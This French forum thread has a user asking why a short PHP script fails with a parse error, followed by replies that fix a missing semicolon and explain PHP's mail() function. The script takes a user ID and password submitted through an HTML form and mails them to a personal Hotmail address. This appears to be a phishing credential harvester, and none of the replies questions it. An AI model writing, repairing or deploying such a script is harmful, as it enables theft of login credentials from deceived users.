Probléme avec PHP

Bonjour,

<?php

$email=$_POST['UserIDWithoutPrefix'];
$password=$_POST['Password'];

$sujet='les données';
$destinataire='leprince27@hotmail.fr'

mail($destinataire,$sujet,$email,$password);

?>

J'ai beau essayé plusieurs site d'hébergement mais j'ai toujours le probléme a chaque fois que je compile j'ai cette erreur et sa n'envoie rien:

Parse error: syntax error, unexpected T_STRING in ............../index.php on line 9

Merci de votre aide

12 réponses

  1. Excuse-moi d'insister, mais est-ce que ton hébergeur accepte la fonction php mail ? Informe-toi sinon tu risques de bagarrer pendant longtemps !
    1. As-tu vérifié ce que tu recevait dans tes $_POST ? print_r($_POST); ?
      1. Il manque le point virgule après $destinataire='leprince27@hotmail.fr'
        1. syntaxe de la fonction mail :

          mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

          $to chez toi est $destinataire -> ok
          $subject chez toi est $sujet ok

          $additional_headers chez toi est ? quelle valeur est retournée ?
          et additional parameter ??? quelle valeur est retournée ?
          1. Les crochets, ça veut dire que le paramètre est optionnel :)
            En l'occurrence, il ne les donne pas.
          2. c'est optionnel pour autant que le php.ini ait l'adresse 'from ' qui est obligatoire dans quelques situations
        2. tu aurais pas oublié un point virgule après :

          $destinataire='leprince27@hotmail.fr'

          ????
          1. Y a juste une page html avec des cases , j'ai essayé d'envoyer les données dans un fichier et sa marche reste le probléme avec la fonction mal
            1. Si ton code est rédigé comme ceci :
              <?php
              $email=$_POST['UserIDWithoutPrefix'];
              $password=$_POST['Password'];
              $sujet='les données';
              $destinataire='leprince27@hotmail.fr';
              
              mail($destinataire,$sujet,$email,$password);
              ?>

              Alors le problème vient d'ailleurs... Y-a-t'il du code PHP avant ou après ce script d'envoi de mail ?
              1. Bonsoir,
                Manque le point-virgule terminant l'instruction (en gras dans le code ci-dessous)
                $destinataire='leprince27@hotmail.fr';